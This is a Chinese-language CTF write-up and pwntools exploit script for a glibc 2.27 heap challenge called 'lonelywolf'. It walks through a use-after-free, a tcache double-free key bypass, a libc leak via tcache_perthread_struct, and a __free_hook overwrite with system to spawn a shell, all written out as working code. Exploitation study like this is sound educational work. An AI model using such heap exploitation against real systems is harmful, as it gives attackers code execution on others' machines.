保护全开经典堆题 也是菜单的形式 我们静态分析看看
可以看到add函数 限制了chunk块的大小在0x78以下
edit函数
这里有个off by null但好像没用道、
show
打印地址
delete
没有置为0 存在uaf 漏洞
基本思路就是:通过泄露libc地址,通过double free 挂 free_hook 然后改为system
这里难点在于libc地址如何泄露,由于0x78 是被挂入fastbin而不是 unsortged bin 因此通过unsorted bin 来泄露地址是不可以的,因此我们这里要利用tcache的性质来打
我们知道tcache有一个tcache_pthread_stuct 的堆 也就是最开始位置的那个堆 那个的长度默认是0x250 我们可以通过泄露堆地址,用double free 把这个堆取出来 再free掉 就可以挂入unsorted bin当中 泄露地址了,因此还有个问题 堆地址如何来呢?通过tcache bin 中的double free addr<----addr fd就是addr 因此可以泄露堆地址,但由于是2.27版本后期 不难直接打double free 因为有一个key检验 那个key的值指向tcache_pthread_stuct下面0x10的位置,会检验这个key的值 如果一样就遍历一遍tcache bin 因此我们要破坏这个key 由于没有置0 直接edit 就可以了。这里还有个问题,就是tcache bin没满之前是不会挂入unsorted bin的因7此我们要 通过修改tcache的计数器counts 来把这个位置填为7 这里我也不知道为什么要挂在heap_base+0x10+0x20+p64(0x7000000)的位置 这点我不太明白
后泄露了libc地址之后 由于此时的tcache被释放进unsorted bin后在原本这些tcache counts对应的地方被写入了main_arena_96的地址,所以我们要先恢复tcache counts。然我们malloc一个0x80由于此时不属于fastbi n的范围因此进入tcache bin 因此就可以打tcache double free 但此时如果 malloc <0x80 就会被挂进fast bin fastbin打double free 比tcache 复杂 所以择取简单的打
#!/usr/bin/python3
import logging
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
def dbg():
gdb.attach(mx)
pause()
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
libc = ELF('./libc-2.27.so')
filename = "./lonelywolf"
mx = process(filename)
#io = remote("47.104.24.40",1337)
elf = ELF(filename)
#初始化完成---------------------------------------------------------
def add(size):
sla("Your choice: ","1")
sla("Index: ","0")
sla("Size: ",str(size))
def edit(content):
sla("Your choice: ","2")
sla("Index: ","0")
sla("Content: ",content)
def show():
sla("Your choice: ","3")
sla("Index: ","0")
def delete():
sla("Your choice: ","4")
sla("Index: ","0")
dbg()
add(0x28)
delete()
pause()
edit(p64(0)*2) #绕过double free检查
delete()
show()
rl("Content: ")
heap_base=h64()-0x260
log.success("heap_base"+hex(heap_base))
edit(p64(heap_base+0x10))
add(0x28)
add(0x28)
edit(p64(0)*4+p64(0x7000000))
pause()
delete()
show()
rl("Content: ")
libc_base=l64()-88-0x3ebc48
log.success(hex(libc_base))
libc.address=libc_base
free_hook=libc.symbols['__free_hook']
system=libc.symbols['system']
#---------------------
add(0x78)
delete()
edit(p64(free_hook))
pause()
add(0x78)
add(0x78)
edit(p64(system))
add(0x78)
edit(b"/bin/sh\x00")
delete()
inter()